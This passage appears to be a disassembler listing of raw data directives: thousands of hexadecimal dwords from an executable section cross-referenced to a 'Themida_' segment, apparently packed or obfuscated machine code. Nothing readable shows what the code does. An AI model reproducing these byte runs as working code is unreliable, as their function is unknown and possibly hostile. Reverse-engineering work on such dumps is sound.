		dd 16h,	0DDC35646h, 8D016135h, 6A60D61h, 5AD38B52h, 72D85C7h
		dd 7D006A6h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0CE4B39C3h, 6E72887Ch, 0D3DD8062h
		dd 56006A61h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 289F5B0Eh, 0BAFEB138h, 43A13B1Bh, 631FCB81h
		dd 7EB632Ch, 0E99D61h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 4B90C351h
		dd 53006AF7h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0E27443D4h, 0C18B6677h, 10E8h, 5D1B0B00h
		dd 5592ED1Fh, 502827FDh, 6802569Bh, 958B531Ch, 6A62D0Dh
		dd 95095E5Ah, 6A60BD9h,	72FAC681h, 0F530000h, 58Bh, 0ADCBF00h
		dd 685F7842h, 1C92h, 2F39950Bh,	605B06A6h, 8BC88B66h, 0A62F059Dh
		dd 68B6106h, 0D8C98166h, 0DCF081CCh, 0F1CB312h,	0F081CBBFh
		dd 1B2783CEh, 81D68B66h, 0C4EC0FE8h, 14E949h, 0F9590000h
		dd 0B0F418E1h, 0C727222Ah, 49077F34h, 1B426A6Bh, 8950AF4Ah
		dd 0A6267D85h, 29068F06h, 0A61B79BDh, 1EE8306h,	25C1958Bh
		dd 4E4E06A6h, 5CD2814Eh, 4B42D96Dh, 0FFA0850Fh,	8E9FFFFh
		dd 0E3000000h, 73F4C9B7h, 60E469EAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0D5C35545h,	41F1CA37h, 0E9280C22h
		dd 0Eh,	8AB24763h, 92777E77h, 28E679C7h, 0C08B9229h, 0F118B966h
		dd 1CDB589h, 0BD8306A6h, 6A61EA5h, 83097500h, 0A62F9DBDh
		dd 19740006h, 0C08B5350h, 438B8h, 0D1858900h, 8D06A62Ah
		dd 0A8A56C9Dh, 5BD3FF06h, 9DBD8358h, 6A62Fh, 53501774h
		dd 438B8h, 0D1858900h, 8D06A62Ah, 0A8A25B9Dh, 5BD3FF06h
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8B56D55Fh, 0A62AA9BDh, 6A5F06h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 8EB7A2C3h, 850960D8h, 6A608C5h, 14E9h, 0A97E5100h, 0A47BC129h
		dd 316BAE54h, 3865897Eh, 690E5444h, 8D2961A0h, 6A61F59h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 907979C3h, 8D89796Ah, 6A63229h, 8DDE8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0E8626FD3h, 13h, 0C8FFF853h,	0DF23E896h, 0E11A6BD9h
		dd 2980847Bh, 8B78727Ah, 0A62C69B5h, 85895F06h,	6A60861h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F5C35242h
		dd 77E8B6F6h, 6A000008h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 63BBC353h, 9F3C2C19h
		dd 8E5B58Bh, 858906A6h,	6A60B19h, 2D8DBD8Bh, 3FE806A6h
		dd 6A000008h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8927C353h, 0A60F4985h,	71B58906h
		dd 0E806A609h, 812h, 91B58B52h,	5E06A62Eh, 11658589h, 6A06A6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0E8AE9FC3h, 7E2h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 1EC35040h, 2F1D8589h,	6A06A6h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0ABC65FC3h, 1C91B529h, 850106A6h, 6A60645h, 791E8h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 4CA3993Eh, 0CAC71D42h, 9CF8166h,	0A1858957h
		dd 6A06A632h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 4C79C353h, 0B3AD0ED0h,	682132AAh
		dd 739E8h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1904h, 0C3504000h, 0EF368256h, 8589BC1Ch, 6A61E41h
		dd 14E9h, 5C21DE00h, 0E420FF6h,	0D681624Fh, 0B068F62Fh
		dd 682FC8FEh, 6F4E803h,	8E0F0000h, 6, 5BD31h, 858906A6h
		dd 6A62DCDh, 68A0Fh, 85010000h,	6A60B0Dh, 9E8h,	6D813B00h
		dd 0B80C1223h, 0F536DF7h, 5E59FAB7h, 6BDE8h, 0BE900h, 783E0000h
		dd 81ED1C4Eh, 84FB2B2Fh, 95858900h, 6A06A620h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 579CC352h, 83E8F98Bh, 6A000006h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0DADFC353h
		dd 0F3046F3h, 68Bh, 0F98D8900h,	5006A612h, 6A3FDE81h, 895F21BFh
		dd 0A61D1985h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0E20C1C1Fh, 81C4705Fh
		dd 0DEB07DE6h, 61CE818h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h
		dd 140424h, 52420000h, 870FCBC3h, 1, 558589F9h,	6A06A611h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 6469C357h, 0D219113Bh, 0E8795630h, 5CAh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DCC35141h
		dd 0AAFA18B7h, 19D8D8Bh, 858906A6h, 6A631F1h, 97E837B1h
		dd 52000005h, 9E9h, 71240700h, 924D0AA9h, 895FFAF5h, 0A60AF985h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 88C62AECh, 0FFB6A56Ch, 95294926h, 6A63049h
		dd 0E8F9BF0Fh, 54Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0BFC35646h, 44EB15F3h, 89BA12D9h, 0A60B0195h
		dd 5D858906h, 6A06A613h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 3DCFC351h, 0BF6654BEh
		dd 0F7E8C14Fh, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0F0DCC356h,	13318589h
		dd 858906A6h, 6A61EEDh,	31158D8Bh, 0C3E806A6h, 0E9000004h
		dd 0Fh,	0BEE8F3Bh, 0DE35381Ch, 0BBA5CB8Fh, 0F539721h, 2681h
		dd 0BE800h, 83310000h, 0BA23151Bh, 6351EAABh, 10E96Fh
		dd 30980000h, 36DC2F1Ch, 0C321751h, 0BF5AD058h,	895FACC2h
		dd 0A615ED85h, 55B58906h, 0B006A605h, 61B52300h, 0F06A634h
		dd 0BD8BD8B6h, 6A63221h, 6BAh, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0C38B7A1Dh
		dd 0F45B58Bh, 0E8C106A6h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 83AE4A8h, 511CF201h
		dd 66F18166h, 0E2F766BFh, 19E1B58Bh, 0D82B06A6h, 26A98D89h
		dd 0BD8B06A6h, 6A61085h, 870F93h, 50000000h, 6A9302B5h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0D7C3C356h, 0FF38351Ah, 0A6071D95h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 89128E11h, 418D8961h, 5B06A614h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 50C35343h, 1F90B481h, 80F28B66h
		dd 958D0AF5h, 6A60ACDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 17C35242h, 9493237Ch,	0B3280026h, 0F1A89B7h
		dd 0E80h, 9E900h, 0AC250000h, 8FA1A17Bh, 896A5E74h, 0FBBE0442h
		dd 8D353B78h, 0A631FD95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 69F80DA3h
		dd 890961FAh, 0A63309B5h, 6A1A8906h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 2AD0C355h
		dd 0B1BD89C2h, 0E906A62Dh, 10h,	33E1A2D7h, 0A563E768h
		dd 9A3C4C3h, 0B4B07E46h, 6A044289h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0CAE6C356h
		dd 0DF06C15Ah, 2A85958Dh, 6A06A6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 668513C3h, 8D8BCFBEh
		dd 6A610C1h, 18E19D89h,	1A8906A6h, 0A6B09FB9h, 442896Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0CFC35646h
		dd 0F28B7386h, 9C5958Dh, 6A06A6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0E5CA33C3h, 870922ECh
		dd 0D1816051h, 79FCD893h, 1A8961F5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0C9C35646h,	99127E98h, 6A092F0Fh
		dd 0A18D0148h, 8B06A616h, 0A60E45BDh, 4428906h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0EC35646h, 90B48150h
		dd 3226E61Fh, 25958DE5h, 8B06A631h, 0A61DEDB5h,	6A1A8906h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 943DC352h, 8166AFB8h, 89FC35C9h, 0B58B0442h
		dd 6A62FD9h, 1AE1958Dh,	6A06A6h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 9EF21BC3h, 8D239AB7h
		dd 6A61419h, 6A1A89h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 547641C3h, 31B58980h, 8906A62Dh
		dd 6A0442h, 3E852h
dword_58E400	dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
					; DATA XREF: Themida_:0054D33Co
		dd 9A73A4C3h, 1959B58Bh, 958D06A6h, 6A61099h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 8AC35747h, 21918D89h
		dd 1A8906A6h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	7EC35545h, 18F2C55Ch, 1349BD8Bh, 8D8B06A6h, 6A6106Dh
		dd 6A044289h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 7731C350h, 0D9C197EFh,	0EE8166B5h
		dd 0BF0FF5B3h, 0CB8B66C9h, 29AD958Dh, 6A06A6h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0E5ACCFC3h, 4043809Eh, 29F98B66h, 0A60C418Dh, 6A1A8906h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 89F0C351h, 0A6016D95h, 4428906h, 68E0Fh
		dd 95290000h, 6A613EDh,	0D2E9h,	0E58D8900h, 0E806A60Dh
		dd 0Dh,	0D19653CCh, 11C11FA1h, 4781D567h, 6A5FB0h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0CEC35747h, 6A006A70h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0D10FC350h, 13E4DF58h, 0DFE11631h, 33DBBF66h
		dd 8166006Ah, 6A33FEDEh, 618D3300h, 0FF06A614h,	0A60D5D95h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0D31268D8h, 60E3FEEDh, 219D0160h, 0F506A62Bh
		dd 0BDB58961h, 0F06A62Dh, 6AC3F7BFh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 8F99C352h
		dd 919D295Ch, 8A06A632h, 0C08BFCC5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0C7C35040h,	0F2D38964h, 8B426D66h
		dd 0A222BFFAh, 0BD830D49h, 6A61EA5h, 83097500h,	0A62F9DBDh
		dd 19740006h, 0C08B5350h, 438B8h, 0F9858900h, 8D06A61Bh
		dd 0A8A5D39Dh, 5BD3FF06h, 9DBD8358h, 6A62Fh, 53501774h
		dd 438B8h, 0F9858900h, 8D06A61Bh, 0A8A2749Dh, 5BD3FF06h
		dd 0F8535658h, 6A5F59h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 13C697C3h, 0AF07C51Bh, 8529920Eh
		dd 6A608D9h, 858DC08Bh,	6A62CADh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 71C35646h, 3FEEFB05h, 0B3878BF8h
		dd 0EA1ABF66h, 0F58D3160h, 6006A610h, 5E8h, 40940500h
		dd 0E95E61BEh, 11h, 85422482h, 0D8033FFFh, 0FB393D80h
		dd 0B3C05DA2h, 5061616Fh, 30CABF66h, 6A240489h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 4CDC355h, 0EA781AB0h, 79853152h, 5F06A610h, 11E9006Ah
		dd 19000000h, 0B64ED257h, 7F73D7D2h, 0B660770Ch, 0A4ED51CCh
		dd 11E8006Ah, 7B000000h, 73F8D721h, 18FFC8AEh, 595365B2h
		dd 59694915h, 2B41BD09h, 8D5F06A6h, 0AA3ED285h,	5C08306h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0F2C35545h
		dd 810F757Fh, 0
		dd 0BE9h, 0EF8B8000h, 0B3E47FDBh, 2FD0B3h, 0BA34BF50h
		dd 4893361h, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 89FCA891h, 0A621A195h, 81665206h
		dd 5BFCFBCFh, 8B66006Ah, 6A006AD9h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 64DBC355h
		dd 0BA06E25Dh, 31CD0E30h, 0A61005BDh, 0C8B76006h, 6870Fh
		dd 8D890000h, 6A60501h,	19BD8B61h, 0FF06A613h, 0A6124595h
		dd 0C3816606h, 8D8D65BCh, 6A994FFh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 86C35040h, 0B9852CB0h, 168D9D8Bh
		dd 0D1FF06A6h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0FCC35040h, 66859ED0h, 0BD83DA8Bh, 6A61451h, 83850F01h
		dd 89000000h, 0A61A0D95h, 6A026A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0B3DEC351h
		dd 555A46ADh, 50F88B66h, 89DA8B66h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 6CA5AC3h
		dd 805087D2h, 0FF434405h, 0A6066D95h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 80247884h, 0D18789h,	1EE95DEDh, 0E800000Dh, 0
		dd 0DCED815Dh, 6A06AA3Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 1E08C351h, 9D8B283Fh
		dd 6A63079h, 71BD8B51h,	5F06A612h, 11098589h, 858D06A6h
		dd 6A9864Ah, 15A59D8Bh,	669006A6h, 9050FB8Bh, 28E5BD0Bh
		dd 0FF6406A6h, 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 8D28BA4Eh, 4AD57650h
		dd 258964D9h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0C4C35040h
		dd 4F987063h, 13E84Ch, 0C9E20000h, 89AD7C09h, 0DB2E454Ah
		dd 4D5C062Ch, 7A38CB44h, 1D85891Bh, 5F06A610h, 1D659D89h
		dd 85FF06A6h, 6A6126Dh,	6299529h, 0FF6A06A6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5C35040h, 0B34B6CE6h
		dd 5EB25388h, 32A59D8Bh, 0B5FF06A6h, 6A60861h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 2FC35040h, 2C6762EDh
		dd 0F32F99F2h, 919D2B05h, 8106A61Ah, 9304D5E7h,	6D95FF75h
		dd 0E906A611h, 120h, 1D218589h,	0B52906A6h, 6A60F95h, 665100B0h
		dd 5F353DBBh, 9D8B70E6h, 6A621ADh, 0BF6671E4h, 613CB0EEh
		dd 0F6830Fh, 870F0000h,	4, 0BC52BB66h, 80C8B60Fh, 6BA6AD7h
		dd 8B000000h, 61B589C1h, 0C106A618h, 0BD8B04E8h, 6A631BDh
		dd 33E2F766h, 0A630D99Dh, 66C82B06h, 0D18BF88Bh, 1C299D8Bh
		dd 1E906A6h, 0F9000000h, 0ACD858Bh, 8B6606A6h, 7C083FAh
		dd 107D9D2Bh, 0C08306A6h, 0FE900h, 0B5550000h, 0E64B91BBh
		dd 98090D9Ah, 0C1A589BEh, 0D03BF9DFh, 1D830Fh, 81660000h
		dd 0E9C44BCBh, 78h, 7E8h, 8061B300h, 88A3752Ch,	21A99D0Bh
		dd 8B5B06A6h, 0A61C218Dh, 8D336006h, 6A62C79h, 0B0D78166h
		dd 0E18361C8h, 49840F01h, 66000000h, 18AC381h, 2EB8166h
		dd 21A5833Bh, 0FE06A61Ch, 2C78166h, 0CD95893Bh,	8906A60Ah
		dd 0A615E985h, 0CE806h,	75440000h, 57347FABh, 0D1A9B647h
		dd 0BE938D2h, 0A7000000h, 515CCA18h, 85089EDDh,	0E95B534Dh
		dd 0
		dd 0CD6CB58Dh, 8B6606A9h, 6A006AFAh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E9E9C352h
		dd 14h,	99CD587Fh, 0CDC4D5D0h, 2C2E3CCDh, 78EDFDEBh, 2E18317h
		dd 295995FFh, 6A06A6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 2F1E38C3h, 1534356Eh, 0BD8BF906h
		dd 6A60621h, 794B9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0A8CA1C5Dh, 0FCE1830Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 40C35343h
		dd 0CCC67673h, 0F94CF741h, 0FCF9B70Fh, 4E1B501h, 9D8B06A6h
		dd 6A62A7Dh, 0B8h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0AD6CF055h, 8E90B39h
		dd 9B000000h, 0A435DE3Bh, 0BA3B319Eh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 9DC35545h
		dd 58BD2778h, 9D8B8D7Bh, 6A61075h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0E2C35646h, 0AA50911Eh,	0BD858911h, 8B06A604h
		dd 10BBFFBh, 6A633Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0E95DA0C3h, 12h,	828CEAECh, 0FF655644h
		dd 0E94A85DFh, 0C12607D6h, 880D965Ah, 89000000h, 0A62BA1B5h
		dd 0AD958B06h, 6A06A606h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 21E1C353h, 0BD2C97Dh
		dd 0A625B59Dh, 0D8D8B06h, 0F806A604h, 0DAA6BF66h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0EC6C01C3h
		dd 0DE8BE17Bh, 21BD9D0Bh, 0E86006A6h, 0Eh, 89C88842h, 61E515Fh
		dd 0F955CEEh, 8E0FD6EBh, 0
aQflZaj		db '[Qf‹ÊZaj',0
		db 50h,	0E8h, 3
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0A38C350h, 61A06736h, 0CA81F960h, 13F1605Ch,	0EE861h
		dd 0BE230000h, 293429E2h, 0DE1CB1A6h, 77D8E0D0h, 835BF98Bh
		dd 0A60FDDBDh, 840F0006h, 4Ah, 2CBDB589h, 0B8FC06A6h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0DBC35343h
		dd 8E8h, 5B59700h, 0A68B4967h, 8D8D5BF3h, 6A64F55h, 850FE1FFh
		dd 6, 26A99D23h, 0BD8306A6h, 6A60BE9h, 20840F00h, 6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 11D5C357h, 2EACE293h, 23B5CD1Ch, 2921BF66h
		dd 0BE9BD83h, 0F0106A6h, 40584h, 0FE96000h, 4C000000h
		dd 2F31EA0Bh, 0F39DBFDBh, 8C7609F3h, 0DE90AEEh,	0DF000000h
		dd 0EFEA2164h, 7F3A15C0h, 21F666CDh, 0E9BD8361h, 306A60Bh
		dd 39A860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0A7B087C3h, 633D792h, 0DE8A3AE9h
		dd 24BB6660h, 0D98C6626h, 11B50152h, 5F06A615h,	0F904E180h
		dd 840FC90Ah, 142h, 0B55B589h, 8D8906A6h, 6A60009h, 15DD858Bh
		dd 9D8906A6h, 6A6340Dh,	6DB58B60h, 6606A61Dh, 615164B8h
		dd 209D8533h, 6A06A6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 2C1D19C3h, 9D98FE00h, 5050C666h
		dd 0F9BB6652h, 0E8310FD3h, 12h,	3736DA08h, 0B63C75h, 29D9CD18h
		dd 704A52D1h, 5F505D99h, 89585A5Fh, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 122829C3h
		dd 2871F593h, 4D5BD8Bh,	6A06A6h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0B3C35141h,	0CFDC3631h, 4E84A9Eh
		dd 0FF000000h, 66001F03h, 8B50DF8Bh, 8B042444h,	48C0F00h
		dd 66000000h, 89A7A5BBh, 57042444h, 0BB665250h,	310F19C5h
		dd 8E9h, 4A9A6500h, 15224088h, 5F585A64h, 0BDB53158h, 0FF06A626h
		dd 0A60B3595h, 0B6DB8006h, 91D2EF81h, 858967E7h, 6A9B6A3h
		dd 182E9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 732C8EBh,	0E828EF02h, 858BBB55h
		dd 6A9B69Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	7EC35747h, 987818E5h, 2BE49FC7h, 0A622659Dh, 1800C706h
		dd 0F000000h, 0B58BDFBFh, 6A9B69Fh, 1D8D0Fh, 11E80000h
		dd 67000000h, 3CFD0866h, 0DA20BCFEh, 0C1CD705Eh, 0AEEB67B7h
		dd 2B79BD8Bh, 8B5B06A6h, 0A62ED985h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 89926708h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 5F67AB1Dh, 0DD858B6Fh, 0F506A615h, 8B044689h
		dd 8B5196F8h, 0B3505FD8h, 50BF9690h, 9663672h, 0A604E5B5h
		dd 9BB5FF06h, 0F06A9B6h, 7668DFB7h, 5097ADC6h, 0FDC8A52h
		dd 0A7BF6631h, 81585A11h, 3D892404h, 0BF0F6871h, 0A3858DDBh
		dd 0F806A9B6h, 0F525090h, 2800F31h, 57000000h, 50585A5Bh
		dd 890F5250h, 0Eh, 9E9h, 11BA2100h, 530D148Ah, 310F09A1h
		dd 9E9h, 25B92C00h, 36A8FB0Fh, 585AF575h, 57006A90h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 95FF4B86h, 6A60B35h,	0AE9h, 4C596800h, 0B99F32B0h, 6190BA66h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0ADC35141h
		dd 4FA22D29h, 3D731DD6h, 0BE985C7h, 306A6h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0BB2E65C3h, 0A4E1CD10h, 0A3BD838Ah, 6A9B6h, 5A840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 7DBFEBC3h, 6012C8F5h, 8A1858Bh, 810F06A6h
		dd 2, 66615857h, 0C90FD381h, 3AE9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 9B592125h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8AA9C355h, 15BF66DDh, 0E9BD83B1h,	306A60Bh
		dd 346850Fh, 0E7810000h, 36308F71h, 0D6E38166h,	0A3BD835Eh
		dd 6A9B6h, 32E840Fh, 0BD8B0000h, 6A609F9h, 0B6A3B5FFh
		dd 14E806A9h, 9E000000h, 0E8DF6CDAh, 0CA353CA2h, 841F3E77h
		dd 87A39A34h, 5FC2D7DBh, 0C1D95FFh, 14E906A6h, 0ED000000h
		dd 0ECAC68B2h, 61148EBBh, 0DF54A3h, 0D21441EBh,	8BB00EFDh
		dd 0A9B697B5h, 89852906h, 0C706A606h, 1000106h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 3A8E095Bh, 50770E3Ah, 3489FB8Bh, 0A3B5FF24h,	0F06A9B6h
		dd 95FFFFBFh, 6A629D1h,	8BF88B66h, 0A9B697B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 2981A4D6h, 0A630D985h, 0B98D8906h, 8B06A625h, 0A6076985h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8BEC1ABCh, 0C48689F8h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 1C96C355h, 0E3A968D5h, 0F5759B5h, 958BF9BFh,	6A606ADh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 77C35747h
		dd 0C76E91F4h, 0FC04C283h, 66205089h, 8D0D4BBBh, 0A9CA6B85h
		dd 0EB816606h, 8689A75Ch, 0B8h,	85CF8166h, 89006A02h, 0A62A3D85h
		dd 0A3B5FF06h, 6A06A9B6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0E20C350h, 0A393C07Dh
		dd 8A3584CEh, 5E9DAh, 9600000h,	0FF582255h, 0A6066D95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 207CA66Ah, 0AEC3479Ah, 8A0022BBh, 3BB5079h
		dd 8914F6FDh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 96B359C3h, 0DE971h, 0A0B50000h
		dd 4FB926EFh, 0FCDF20E7h, 0FF06AC1Ah, 0A9B6A3B5h, 0BD0BF906h
		dd 6A61A05h, 0A1595FFh,	0B58906A6h, 6A61885h, 2B29BD83h
		dd 0F0006A6h, 3584h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 2374422Dh, 3800F50h, 66000000h
		dd 3489D88Bh, 38C0F24h,	66000000h, 0B5FFF88Bh, 6A9B6A3h
		dd 0D4448ABFh, 859D0B72h, 0FF06A614h, 0A61D5595h, 0C7816606h
		dd 8B66382Dh, 0A3B5FFF8h, 0FF06A9B6h, 0A62AD995h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 61DAE570h, 0F5BD8369h, 206A62Ch, 53840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
